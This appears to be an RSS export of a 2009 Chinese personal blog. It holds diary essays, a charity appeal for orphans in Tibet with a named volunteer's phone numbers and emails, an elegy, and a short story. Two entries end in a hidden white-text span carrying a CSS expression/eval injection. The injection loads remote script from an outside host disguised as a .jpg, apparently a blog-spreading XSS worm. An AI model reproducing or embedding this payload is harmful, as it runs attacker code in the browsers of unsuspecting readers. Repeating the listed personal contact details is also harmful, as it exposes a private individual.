人生也许孤独，但是绝不寂寞，因为藉着书的媒介，横越中西，纵深几千年，不是和无数思索着的无声呐喊着的心灵在沟通交流吗？无所谓时空隔绝，人性相通，情感共鸣。</span><wbr /></span><wbr /> </span><wbr /><br><span style="font-weight:bold"><wbr />     倦了，熄灯，一枕书香相伴，梦也安详。</span><wbr /></span><wbr /> </span><wbr /><br></span><wbr /><br></span><wbr /><br><span style="font-family:'Times';line-height:1.8em;">                                                                                                                                       <span style="font-weight:bold"><wbr />2009-6-13</span><wbr /> </span><wbr /></span><wbr /></span><wbr /><span style="font-weight:bold"><wbr />夜</span><wbr /></span><wbr /></span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[13267268@qq.com(风为裳)]]></author>
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<pubDate>Sun, 14 Jun 2009 01:38:40 GMT</pubDate>
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<title><![CDATA[遥远的呼唤]]></title>
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<description><![CDATA[<div style="text-align:center;"></span><wbr /></span><wbr /></div>                                                                                                     ---</span><wbr />记西藏阿里的任老师和那些孩子们</span><wbr /></span><wbr /> <br>         在漫长而辽远的新藏线上</span><wbr />,</span><wbr />在西藏阿里广漠的星空下</span><wbr />,</span><wbr />在伟大的冈仁波齐神山脚下</span><wbr />,</span><wbr />有一个小镇</span><wbr />---</span><wbr />塔尔钦</span><wbr />.</span><wbr /> <br>　</span><wbr />     </span><wbr />任怀平</span><wbr />----</span><wbr />他曾是北京一所大学副教授，儿子、妻子都在国外，但他放弃了优越的生活，</span><wbr />06</span><wbr />年来到西藏阿里普兰扎根在塔尔钦</span><wbr />,</span><wbr />建立了一所名为</span><wbr />”</span><wbr />志愿者之家</span><wbr />”</span><wbr />的小旅店</span><wbr />, </span><wbr />收入全部用于保护生态环境和救助失学儿童</span><wbr />,</span><wbr />目前他已经有了四十多名孤儿</span><wbr />.</span><wbr /> </span><wbr />他最大的心愿是在神山脚下建一座孤儿院</span><wbr />,</span><wbr />让失去亲人的雪山孩子能有个温暖的家</span><wbr />.</span><wbr /> <br>        日前从网上获知了任老师及其那些孩子的情况</span><wbr />,</span><wbr />内心很想为他们做点什么</span><wbr />,</span><wbr />与任老师取得联系后</span><wbr />,</span><wbr />得知他们那里急需文具和书本</span><wbr />,</span><wbr />就去市场批发了一些</span><wbr />,</span><wbr />加上姐姐家的一些旧衣物清洗干净整齐</span><wbr />,</span><wbr />已经打包寄了过去</span><wbr />.</span><wbr /> <br>        在这里要提一下我姐姐的女儿</span><wbr />,</span><wbr />她目前就读于湖北西北动漫学院</span><wbr />,</span><wbr />我告诉了她有关任老师和孩子们的情况后</span><wbr />,</span><wbr />她到学校找到了学生会长又找了分管的某校长</span><wbr />,</span><wbr />在她的努力下</span><wbr />,</span><wbr />学校即将开展一个捐助活动</span><wbr />,</span><wbr />号召学生把搁置在家的一些半旧不新的衣物和各类文具整理好</span><wbr />,</span><wbr />集体捐赠给任老师他们</span><wbr />.</span><wbr />外甥女还打算向报纸和电视台投稿呼吁</span><wbr />,</span><wbr />希望能引起社会各界的注意</span><wbr />,</span><wbr />向西藏的孩子们尽一份爱心</span><wbr />.</span><wbr /> <br>      还值得一提的是不管我们是去市场批发文具还是在打字复印店整理文档报告</span><wbr />,</span><wbr />所到之处</span><wbr />,</span><wbr />大家听说是为了捐赠都只收取了成本费</span><wbr />,</span><wbr />我相信他们</span><wbr />,</span><wbr />相信人性本善</span><wbr />.</span><wbr /> <br>       个人的力量是微薄的</span><wbr />.</span><wbr />所以想将任老师和孩子们的事情广而告之</span><wbr />,</span><wbr />希望有兴趣有意愿者可以了解可以行动起来</span><wbr />,</span><wbr />有旧衣物和文具的捐出去</span><wbr />,</span><wbr />有能力资助几个藏区孤儿及特困生的资助起来</span><wbr />.</span><wbr />有愿意支教做志愿者的踏上行程吧</span><wbr />.</span><wbr />让阿里的天空更蓝</span><wbr />,</span><wbr />神山圣湖更庄严洁净</span><wbr />,</span><wbr />让雪山孩子们的笑脸更灿烂</span><wbr />!</span><wbr /> <br>      值此六一儿童节即将来临之际</span><wbr />,</span><wbr />让大家的爱心来的更猛烈一下吧</span><wbr />!</span><wbr /> <br><span style="font-weight:bold"><wbr />附</span><wbr />:</span><wbr /> </span><wbr />中国西藏</span><wbr />神山志愿者之家 </span><wbr /><br><a href="http://blog.sina.com.cn/kailashvolunteer" target="_blank">新浪博客</a><wbr />: http://blog.sina.com.cn/kailashvolunteer</span><wbr /> <br>QQ</span><wbr />群：60537662 </span><wbr /><br>MSN</span><wbr />群：group133590@xiaoi.com </span><wbr /><br><div style="text-align:center;"><span style="font-weight:bold"><wbr />中国神山志愿者之家</span><wbr /></div>西藏阿里岗底斯救助孤儿及贫困无助儿童志愿者工作站（阿里工作站）</span><wbr /> <br>地址：西藏阿里普兰县巴嘎乡塔尔钦 <br>邮编：859500 <br>电话/传真：+86-0897-2607098</span><wbr /> <br>任怀平:13638970603 <br>E-mail：<a href="mailto:rhp_2007@163.com" target="_blank">rhp_2007@163.com</a><wbr />  <a href="mailto:alirhp@126.com" target="_blank">alirhp@126.com</a><wbr /></span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[13267268@qq.com(风为裳)]]></author>
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<pubDate>Fri, 08 May 2009 03:31:30 GMT</pubDate>
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<title><![CDATA[清明祭]]></title>
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<description><![CDATA[</span><wbr /><br><br><span style="font-weight:bold"><wbr />四月迷离纷飞的细雨中回到故乡, 回到母亲的墓前 </span><wbr /><br><span style="font-weight:bold"><wbr />青青的麦苗簇拥着坟茔.清明的吊子在风中飘飞 </span><wbr /><br><span style="font-weight:bold"><wbr />轻轻地跪下,燃起烧纸,冥币,烈焰腾空.焚香弥漫 </span><wbr /><br><span style="font-weight:bold"><wbr />述说着的热泪里犹带着失去怙恃的无尽悲痛辛酸 </span><wbr /><br><span style="font-weight:bold"><wbr />唉!母亲长眠地下已经一十七年了 </span><wbr /><br><span style="font-weight:bold"><wbr />从此断线的风筝四处流浪,再也找不到回家的方向 </span><wbr /><br><span style="font-weight:bold"><wbr />多少的梦里追忆哭喊着娘亲,醒来黑夜依然漫长 </span><wbr /><br><span style="font-weight:bold"><wbr />春去秋来,一年又一年,却永失母亲呵护的臂膀盼归的双眸 </span><wbr /><br><span style="font-weight:bold"><wbr />依稀慈母容颜不能忆起,忆起有泪如倾…. </span><wbr /><br><span style="font-weight:bold"><wbr />佛说凡事皆有缘法,缘何母女如此情悭缘浅啊? </span><wbr /><br><span style="font-weight:bold"><wbr />带着心中难言的凄怆缺失踽踽独行人生路 </span><wbr /><br><span style="font-weight:bold"><wbr />此生憾然 </span><wbr /><br><span style="font-weight:bold"><wbr />惟愿慈母早度苦厄地已登极乐天永享欢欣 </span><wbr /><br><span style="font-weight:bold"><wbr />愿虔心向佛,愿轮回有信,如有来世,请让我们重逢 </span><wbr /><br><span style="font-weight:bold"><wbr />让我再哭倒在母亲的怀里,将这一生一世的刻骨思念从头诉起…</span><wbr /> <br><br>                                                                                               2009/4/7 <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[13267268@qq.com(风为裳)]]></author>
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<pubDate>Tue, 07 Apr 2009 12:24:12 GMT</pubDate>
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<title><![CDATA[再见!我爱]]></title>
<link>http://13267268.qzone.qq.com/blog/1238007691</link>
<description><![CDATA[<span style="font-weight:bold"><wbr />When I think back to those memories, they seem like a lifetime ago. </span><wbr /> <br><span style="font-weight:bold"><wbr />I’m glad those times are over, and I can look to the future with a smile…</span><wbr />  <br>“刹那心动,便是永劫”  <br>如一件晶莹剔透的玉玦,经历过了多少的精琢细磨  <br>才在这灯下呈现如此温泽圆润的模样  <br>无数不眠的长夜,无尽百转千回的心路历程  <br>才成就这份从容淡定的神态,妆出这副宛然如初的笑容  <br>带着这笑容,我星夜前来  <br>只为俯首向你致谢,然后再挥手道别  <br>-----感谢你曾经出现在我的生命里  <br>感谢你曾经给予这幸福的极致  <br>让我一瞬间望尽了繁华......  <br>多少憾恨,化作红尘一笑吧  <br>余生将成陌路,一去千里,请珍重万千  <br>也许在暮年的余晖里我会再次把你深深想起  <br>想起年轻的你  <br>曾经怎样充斥了我生命的天空  <br>然而此刻,请允许我微笑着向你告别,然后转身永远地离去  <br>再见!我爱<span style="color:#FFFFFF;line-height:1.8em;"><wbr />[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[13267268@qq.com(风为裳)]]></author>
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<pubDate>Wed, 25 Mar 2009 19:01:31 GMT</pubDate>
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<title><![CDATA[空城]]></title>
<link>http://13267268.qzone.qq.com/blog/1237208670</link>
<description><![CDATA[</span><wbr /> <br></span><wbr /> <br>子歌在一个深夜的聊天室认识了成康</span><wbr />,</span><wbr />成康有个很宿命的网名</span><wbr />:</span><wbr />转身我在来世</span><wbr />.</span><wbr />这个网名吸引了子歌</span><wbr />.</span><wbr />几个小时的聊天后</span><wbr />,</span><wbr />子歌感觉到了成康深厚的文学功底和淡定的生活态度</span><wbr />,</span><wbr />她欣赏这样的男人</span><wbr />.</span><wbr />第二天晚上子歌就和成康坐在外滩的星巴克门口啜饮着咖啡了</span><wbr />.</span><wbr />  <br></span><wbr /> <br>望着外滩流光溢彩的夜景</span><wbr />,</span><wbr />成康告诉子歌说这是全世界最好的城市景观之一</span><wbr />.</span><wbr /> 今夕何夕,能与有缘人悠闲地坐在这里,度过一个愉快的夜晚,弥足珍贵.  <br>成康又对子歌说她的名字让他想起古乐府的那首诗歌</span><wbr />:</span><wbr />子夜变歌</span><wbr />,</span><wbr />很沧桑幽怨的味道</span><wbr />.</span><wbr />子歌笑了反问成康为什么取转身我在来世这个名字</span><wbr />,</span><wbr />成康嘴角浮现一抹淡淡的微笑对子歌说今生来世其实很近</span><wbr />,</span><wbr />也许就是一转身间</span><wbr />.</span><wbr /></span><wbr />  <br></span><wbr /> <br>在不断变换的咖啡厅和酒吧里</span><wbr />,</span><wbr />两个人只是漫无边际地聊着一些话语:</span><wbr /></span><wbr />从天文到地理,从各种文学流派到周易八卦等等.而不涉及各自的过往</span><wbr />.</span><wbr />子歌很喜欢成康那种温和沉稳的气质</span><wbr />.</span><wbr />类似于蓝山咖啡的味道</span><wbr />.</span><wbr />他们经常点这款咖啡</span><wbr />,</span><wbr />在滴注氤氲中弥漫着某种平和温情的感觉</span><wbr />.</span><wbr />  <br></span><wbr /> <br>子歌习惯了这种相处</span><wbr />,</span><wbr />有时候走在城市喧嚣的街角或者无人的深夜想起成康</span><wbr />,</span><wbr />她会莞尔一笑</span><wbr />,</span><wbr />君子之交淡如水</span><wbr />,</span><wbr />子歌发现她很享受这种关系</span><wbr />.</span><wbr />  <br></span><wbr /> <br>此后很长一段时间</span><wbr />,</span><wbr />成康没有和子歌联系</span><wbr />,</span><wbr />子歌在一成不变的日常工作中</span><wbr />,</span><wbr />内心的寂寞丝丝缕缕蔓延开来</span><wbr />,</span><wbr />宛如一川烟草</span><wbr />.</span><wbr />  <br></span><wbr /> <br>子歌终于给成康打了一个电话</span><wbr />,</span><wbr />才知道成康病了</span><wbr />,</span><wbr />最近一直在住院</span><wbr />,</span><wbr />子歌在一个下午手捧着一束鲜花去了东方肝胆外科医院</span><wbr />,</span><wbr />她从来没来过这里</span><wbr />.</span><wbr />两人间的病房里她看到了成康</span><wbr />.</span><wbr />一刹那子歌的心颤抖了一下</span><wbr />.</span><wbr />卧在病床上的成康消瘦而疲倦</span><wbr />,</span><wbr />短短的时间里已经和原来判若两人</span><wbr />.</span><wbr />子歌没有多问</span><wbr />,</span><wbr />看这种情形她知道成康病况的严重性了</span><wbr />.</span><wbr />也联想到成康网名的含义</span><wbr />.</span><wbr />  <br></span><wbr /> <br>子歌隔几天就去一次医院</span><wbr />,</span><wbr />除了一个护工外她只见过成康的妈妈</span><wbr />,</span><wbr />一个气质端庄头发雪白的老太太</span><wbr />,</span><wbr />没有见过他其他的亲人探视</span><wbr />.</span><wbr />最后她忍不住问成康才知道他的太太和女儿早已经去了国外</span><wbr />,</span><wbr />因为他不想远离故土和年迈的双亲</span><wbr />,</span><wbr />所以选择了分离</span><wbr />.</span><wbr />前年他父亲去世了</span><wbr />,</span><wbr />现在只有他和妈妈在上海</span><wbr />.</span><wbr />  <br></span><wbr /> <br>子歌在家细心地煲汤</span><wbr />:</span><wbr /> 茯苓冬瓜子汤</span><wbr />,</span><wbr />刀豆香薷粥</span><wbr />,</span><wbr />桃仁米粥有时候还做</span><wbr /> 陈皮青果饮或者金华丝瓜饮等用保温瓶装着</span><wbr />.</span><wbr />由于经常堵车</span><wbr />,</span><wbr />所以她选择坐一号线地铁转八号线</span><wbr />,</span><wbr />再走一段路到医院去</span><wbr />.</span><wbr />  <br></span><wbr /> <br>江南六月的梅雨季节里</span><wbr />,</span><wbr />子歌往返穿梭在住家和医院之间</span><wbr />,</span><wbr />连绵的雨雾早已经隔绝了咖啡馆悠闲的时光</span><wbr />.</span><wbr />  <br>子歌常常坐在成康的病床前喂他吃东西</span><wbr />.</span><wbr />有时候也望着成康病后憔悴不堪的面容发呆</span><wbr />.</span><wbr />成康以一种一如既往的温和宽厚的笑容面对子歌</span><wbr />.</span><wbr />  <br></span><wbr /> <br>子歌很快又习惯了这种生活</span><wbr />,</span><wbr />上班下班</span><wbr />,</span><wbr />到市场选料绞尽脑汁做各种适合的饮食</span><wbr />,</span><wbr />然后撑着伞匆匆赶往地铁站</span><wbr />,</span><wbr />赶往医院</span><wbr />,</span><wbr />虽然成康从来没有说什么</span><wbr />,</span><wbr />但是她从成康的眼神中看到了喜悦和期待</span><wbr />.</span><wbr />她甚至喜欢上了东方肝胆外科医院里那股味道</span><wbr /></span><wbr /></span><wbr />.那是淡淡的消毒水的味道.</span><wbr />她成了医院的常客</span><wbr />.</span><wbr />  <br></span><wbr /> <br>有一次</span><wbr />,</span><wbr />给成康主治的翟博医生把子歌叫到办公室</span><wbr />,</span><wbr />告诉了子歌成康的病情恶化速度很快</span><wbr />,</span><wbr />化疗已经不起什么作用了</span><wbr />.</span><wbr />他以为子歌是成康的妻子</span><wbr />.</span><wbr />  <br>子歌一直想知道成康都病成这样了</span><wbr />,</span><wbr />为什么他的妻子和女儿不回来看看</span><wbr />.</span><wbr />她不知道成康是否通知了她们</span><wbr />.</span><wbr />她什么都没问</span><wbr />.</span><wbr />  <br></span><wbr /> <br>七月来临的时候</span><wbr />,</span><wbr />阴霾的季节终于结束了</span><wbr />.</span><wbr />  <br>但是成康的笑容却渐渐枯萎了</span><wbr />.</span><wbr />  <br>子歌在一次探视中</span><wbr />,</span><wbr />隔着窗户看到了他和白发的母亲相拥而泣的情形</span><wbr />,</span><wbr />那种呜咽沉痛已极</span><wbr />,</span><wbr />生命的绝望在那个阳光遍洒的午后显得有些荒诞而失真</span><wbr />,</span><wbr />却又让人有一种椎心的痛</span><wbr />.</span><wbr />她没有进去转身走了</span><wbr />.</span><wbr />  <br></span><wbr /> <br>再次去的时候</span><wbr />,</span><wbr />成康精神好的出奇</span><wbr />,</span><wbr />兴致勃勃地和子歌谈起他小时候种种的调皮事件</span><wbr />,</span><wbr />子歌无法把那个顽劣少年的形象复加到眼前这个成熟大男人的身上</span><wbr />,</span><wbr />时光真是个奇妙的东西</span><wbr />.</span><wbr />临走的时候</span><wbr />,</span><wbr />成康眼睛里满是不舍和眷恋</span><wbr />.</span><wbr />在转身回顾间子歌似乎也看到了泪光的痕迹</span><wbr />.</span><wbr />  <br>两天后</span><wbr />,</span><wbr />子歌接到了成康的短信</span><wbr />:</span><wbr />不用再来了</span><wbr />,</span><wbr />我出院回家了</span><wbr />.</span><wbr />如果有来世</span><wbr />,</span><wbr />希望能牵你的手</span><wbr />!</span><wbr />  <br></span><wbr /> <br>子歌没有再去医院</span><wbr />,</span><wbr />亦不知道成康的家具体在哪里</span><wbr />.</span><wbr />她明白成康的短信是诀别的意味了</span><wbr />.</span><wbr />  <br>子歌又恢复了从前的生活步调</span><wbr />,</span><wbr />按部就班地工作休息</span><wbr />,</span><wbr />闲来还和同事去郊区钓鱼吃农家菜</span><wbr />.</span><wbr />晚上开车在空旷的马路上疾驰游荡</span><wbr />.</span><wbr />有一次无意间居然驱车经过了长海路</span><wbr />,</span><wbr />在黯淡的路灯下</span><wbr />,</span><wbr />子歌突然望见医院高耸的大楼</span><wbr />,</span><wbr />霎那间泪流满面</span><wbr />.</span><wbr />  <br></span><wbr /> <br>夏天的阳光慷慨而肆意</span><wbr />,</span><wbr />挥洒着无尽的活力和热情</span><wbr />.</span><wbr />  <br>站在徐家汇的天桥上在川流不息的人群中</span><wbr />,</span><wbr />在满眼的繁华热闹中</span><wbr />,</span><wbr />子歌又想起了成康</span><wbr />,</span><wbr />心里是异样的寂寞和空虚</span><wbr />,</span><wbr />成康逝去了</span><wbr />,</span><wbr />这座千万人的城市仿佛已是空城</span><wbr />,</span><wbr />子歌不知道为什么自己已经没有了在这里继续生活下去的兴趣和勇气</span><wbr />.</span><wbr />  <br></span><wbr /> <br>浑浑噩噩的夏季过去了</span><wbr />,</span><wbr />秋风渐起的时候</span><wbr />,</span><wbr />子歌辞职告别了这座生活了七年的都市</span><wbr />,</span><wbr />没有任何留恋和遗憾</span><wbr />,</span><wbr />只身南下了</span><wbr />.</span><wbr /><span style="color:#FFFFFF;line-height:1.8em;"><wbr />[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[13267268@qq.com(风为裳)]]></author>
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<pubDate>Mon, 16 Mar 2009 13:04:30 GMT</pubDate>
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<title><![CDATA[虾眼看世相----葬礼]]></title>
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<description><![CDATA[</span><wbr /><br><span style="font-weight:bold"><wbr />                                                                                                                                    虾米系列之三 </span><wbr /><br><span style="font-weight:bold"><wbr />             话说虾米趁此全球经济危机的大好形势下,索性一不做,二不休,一纸辞呈递向公司,炒了自己的鱿鱼,潜回老家修心养性去矣. </span><wbr /><br><span style="font-weight:bold"><wbr />             在姐姐家,独霸一间阔大的卧室,日日有饭就吃,吃饱就睡,闲来窝在床上网际逛逛,电视里瞧瞧.电话稀少,短信寥寥,再也无公司业务客户接洽之烦事打搅,端的是好不快活! </span><wbr /><br><span style="font-weight:bold"><wbr />           某日日上三竿了,虾米依然呼呼大睡,忽然窗外一阵响亮的鞭炮声劈哩叭啦地惊醒梦中人,就此起床胡乱梳洗一番,又寻了些食物填饱肚子,然后踞坐在床上打开电脑开始一天的消遣.突然隐约间听到楼下某处有哀乐传来,再细细侧耳倾听,确是媒体中每逢要人逝世就能听到的那种音乐声随风而至. </span><wbr /><br><span style="font-weight:bold"><wbr />           虾米到窗户跟前往下一看,果不其然,这座呈凹型的大楼靠边的空地上不知何时已经搭起了一个长方形的大帐篷,帐篷门口人来人往,里面还似乎坐着些吹拉弹唱的人物. </span><wbr /><br><span style="font-weight:bold"><wbr />           虾米一下子联想起把自己吵醒的鞭炮声,遂确定无疑:楼下某位人物多半是位老人(虾米妄加猜测)安度完09年的春节之后开始驾鹤西去了. </span><wbr /><br><span style="font-weight:bold"><wbr />           从此时起,这一天里虾米的耳朵不曾消停过了,一会儿鞭炮轰鸣,一会儿哀乐阵阵,蓦地又哭声大作,不可终止,时不时更是人声鼎沸.纷扰无休. </span><wbr /><br><span style="font-weight:bold"><wbr />           闹到晚上十点来钟,虾米才稍得清静,睡觉不提. </span><wbr /><br><span style="font-weight:bold"><wbr />          次日却是一大早,估计六点来钟吧,虾米再度被密集的鞭炮声吵醒了,本以为昨日一天应该结束了呢,谁料这一天才是重头戏的开始.此后足足一天的重型轰炸. </span><wbr /><br><span style="font-weight:bold"><wbr />          上午十时左右,昨天延续了一天的哀乐居然换了调子,轻快活泼的曲子昂然响起,虾米纳了闷了:怎么着?这死了人吹奏如此类似于欢天喜地的音乐成何体统,算哪门子的事呢? </span><wbr /><br><span style="font-weight:bold"><wbr />         此曲过后,没多久又是一阵嚎啕大哭的声音飘至楼上.虾米心想:好嘛,哀乐过后,唱欢歌,欢歌过后再痛哭,这人生的悲欢喜乐算是演绎了个淋漓尽致,想必那老人家经此番欢送,也走的了无牵挂了. </span><wbr /><br><span style="font-weight:bold"><wbr />          这一天里的基调就是如此,鞭炮,音乐,哭声,说话声轮番上阵,循环往复.到了傍晚,虾米想总该结束了吧.不然,一场视听盛宴却正式拉开了序幕: </span><wbr /><br><span style="font-weight:bold"><wbr />         大致是晚六点钟吧.某位本地腔调的男声说了一段开场白.断断续续地听着仿佛是感谢大家光临,借此酬劳诸位什么什么的. </span><wbr /><br><span style="font-weight:bold"><wbr />         然后一响亮的女声陡然发话了,其专业的发音腔调不亚于中央电视台的女主播们,静听却是某乐队来此为葬礼现场演出的. </span><wbr /><br><span style="font-weight:bold"><wbr />         由此点歌台的工作开始了,先是大儿子儿媳携孙子为仙逝的母亲大人送上什么歌,然后是二儿子儿媳孙子.再是大女儿女婿外甥为母亲点什么歌,二女儿女婿外甥…..依次还有某干儿子干儿媳干孙子,某干女儿干女婿干外甥,某外甥女外甥女婿,某侄儿某侄女…….这一长串的家庭组员只听的人头昏脑胀,混淆不清,连如此强悍的播音女声报幕到后来也结结巴巴,在一些称呼名字上较劲掰不清了. </span><wbr /><br><span style="font-weight:bold"><wbr />          好一位儿孙满堂的老太太! </span><wbr /><br><span style="font-weight:bold"><wbr />点播弹唱的歌曲那更是五花八门,从阎维文的&lt;母亲&gt;唱到&lt;西游记&gt;的主题曲,从&lt;月亮之上&gt;到&lt;康定情歌&gt;,没多久邓丽君的&lt;小城故事&gt;又悠然响起….. </span><wbr /><br><span style="font-weight:bold"><wbr />         这都那跟那啊,虾米嘟囔着,真是不靠谱. </span><wbr /><br><span style="font-weight:bold"><wbr />听起来此乐队有两名主打歌手,那名女播音员算一个,还一位嗓音浑厚的男声,一曲腾格尔的&lt;天堂&gt;唱的颇有点原汁原味的感觉. </span><wbr /><br><span style="font-weight:bold"><wbr />         折腾到晚十点钟了,音乐人声还是方兴未艾的样子. </span><wbr /><br><span style="font-weight:bold"><wbr />一天下来,虾米什么也干不成,净顾着听葬礼进行曲了.不听不行啊.虾米不知道这躺在棺材里的老太太看此闹哄哄的场面作何感想,是喜欢还是反感.虾米以己度人,如果是自己绝不要这样的喧哗吵闹,三五亲戚好友静默伫立片刻告个别,就好快快去火葬场凤凰涅盘了,以便早日往生去矣. </span><wbr /><br><span style="font-weight:bold"><wbr />        这纷扰的世相,生的情景欢天喜地,死的时候也颇不寂寞啊.虾米无意中居然得窥此地一大风俗人情. </span><wbr /><br><span style="font-weight:bold"><wbr />         子夜即将来临时,这场盛宴才以最后一阵经久不息的鞭炮声做结,还意犹未尽地燃放了几个哨音尖利刺耳的朝天炮.众多邻居们好像也无一家抗议此噪音的.也许风俗使然吧. </span><wbr /><br><span style="font-weight:bold"><wbr />         第三天的黎明时分,鞭炮声又响起了.哀乐声也随之而来. </span><wbr /><br><span style="font-weight:bold"><wbr />         虾米躲在被窝里捂着耳朵呻吟道还有完没完啊. </span><wbr /><br><span style="font-weight:bold"><wbr />         这样下去非神经衰弱不可. </span><wbr /><br><span style="font-weight:bold"><wbr />         都三天了,老人需要安歇,还是停了这种悼念架势吧. </span><wbr /><br><span style="font-weight:bold"><wbr />         虾米的唠叨果然见效. </span><wbr /><br><span style="font-weight:bold"><wbr />         上午的鞭炮哭声加乐曲,如前两天轮番演绎过后,下午就静悄悄地无声了.一直到晚上虾米时时竖起的耳朵也不曾再捕捉到葬礼的半点消息.第四天第五天……除了嘈杂的市声,别无异样.往下看,临时搭起的帐篷也无影无踪了,一切都恢复了原样,想必终于结束了. </span><wbr /><br><span style="font-weight:bold"><wbr />        一切沉寂后,虾米却又感觉一些感触油然而生:</span><wbr /><br><span style="font-weight:bold"><wbr />         人死如灯灭,最后一点余烬袅袅而绝. </span><wbr /><br><span style="font-weight:bold"><wbr />         来过这个世界,离开这个世界,一生的踪迹却消失的如此迅速,如池水经石,些微涟漪慢慢荡开,又瞬间止息,再也不可寻了. </span><wbr /><br><span style="font-weight:bold"><wbr />         这人活着的意义何在?深夜里虾米却开始辗转反侧,做此不解之题了. </span><wbr /><br><br><br><span style="font-weight:bold"><wbr />                                                                                                                              2009/2/27 </span><wbr /><br><span style="font-weight:bold"><wbr />                                                                                                                                           于襄樊</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[13267268@qq.com(风为裳)]]></author>
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<pubDate>Sun, 01 Mar 2009 01:29:28 GMT</pubDate>
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